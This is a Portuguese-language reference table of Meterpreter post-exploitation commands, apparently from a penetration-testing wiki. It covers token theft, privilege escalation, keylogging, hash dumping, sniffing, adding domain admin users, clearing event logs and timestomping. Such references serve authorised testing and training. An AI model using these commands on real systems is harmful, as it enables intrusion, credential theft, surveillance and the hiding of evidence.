Meterpreter Commands
Comando
Descrição
help
Abra a ajuda de uso do Meterpreter.
run <scriptname>
Execute scripts baseados no Meterpreter; para uma lista completa, verifique o diretório scripts/meterpreter.
sysinfo
Exibe as informações do sistema sobre o alvo comprometido.
ls
Liste os arquivos e pastas no destino.
use priv
Carregue a extensão de privilégios para bibliotecas estendidas do Meterpreter.
ps
Mostre todos os processos em execução e quais contas estão associadas a cada processo.
migrate <proc. id>
Migrar para o ID do processo específico (PID é o ID do processo de destino obtido do comando ps).
use incognito
Carregar funções anônimas. (Usado para roubo de tokens e representação em uma máquina alvo.)
list_tokens -u
Listar tokens disponíveis no alvo por usuário.
list_tokens -g
Listar tokens disponíveis no alvo por grupo.
impersonate_token <DOMAIN_NAMEUSERNAME>
Representa um token disponível no alvo.
steal_token <proc. id>
Roube os tokens disponíveis para um determinado processo e personifique esse token.
drop_token
Pare de personificar o token atual.
getsystem
Tentar elevar permissões para acesso de nível de SISTEMA por meio de vários vetores de ataque.
shell
Entre em um shell interativo com todos os tokens disponíveis.
execute -f <cmd.exe> -i
Execute cmd.exe e interaja com ele.
execute -f <cmd.exe> -i -t
Execute cmd.exe com todos os tokens disponíveis.
execute -f <cmd.exe> -i -H -t
Execute cmd.exe com todos os tokens disponíveis e torne-o um processo oculto.
rev2self
Retorne ao usuário original que você usou para comprometer o alvo.
reg <command>
Interaja, crie, exclua, consulte, defina e muito mais no registro do alvo.
setdesktop <number>
Alterne para uma tela diferente com base em quem está conectado.
screenshot
Faça uma captura de tela da tela do alvo.
upload <filename>
Carregue um arquivo para o destino.
download <filename>
Baixe um arquivo do destino.
keyscan_start
Comece a farejar as teclas digitadas no alvo remoto.
keyscan_dump
Despeja as chaves remotas capturadas no alvo.
keyscan_stop
Pare de farejar as teclas digitadas no alvo remoto.
getprivs
Obtenha o máximo de privilégios possível no alvo.
uictl enable <keyboard/mouse>
Assuma o controle do teclado e/ou mouse.
background
Execute seu shell Meterpreter atual em segundo plano.
hashdump
Despeje todos os hashes no alvo. use sniffer Carregue o módulo sniffer.
sniffer_interfaces
Liste as interfaces disponíveis no destino.
sniffer_dump <interfaceID> pcapname
Comece a farejar o alvo remoto.
sniffer_start <interfaceID> packet-buffer
Comece a farejar com um intervalo específico para um buffer de pacotes.
sniffer_stats <interfaceID>
Obtenha informações estatísticas da interface que você está farejando.
sniffer_stop <interfaceID>
Pare o farejador.
add_user <username> <password> -h <ip>
Adicione um usuário no destino remoto.
add_group_user <"Domain Admins"> <username> -h <ip>
Adicione um nome de usuário ao grupo Administradores de Domínio no destino remoto.
clearev
Limpe o log de eventos na máquina de destino.
timestomp
Alterar atributos do arquivo, como data de criação (medida antiforense).
reboot
Reinicie a máquina de destino.
Last updated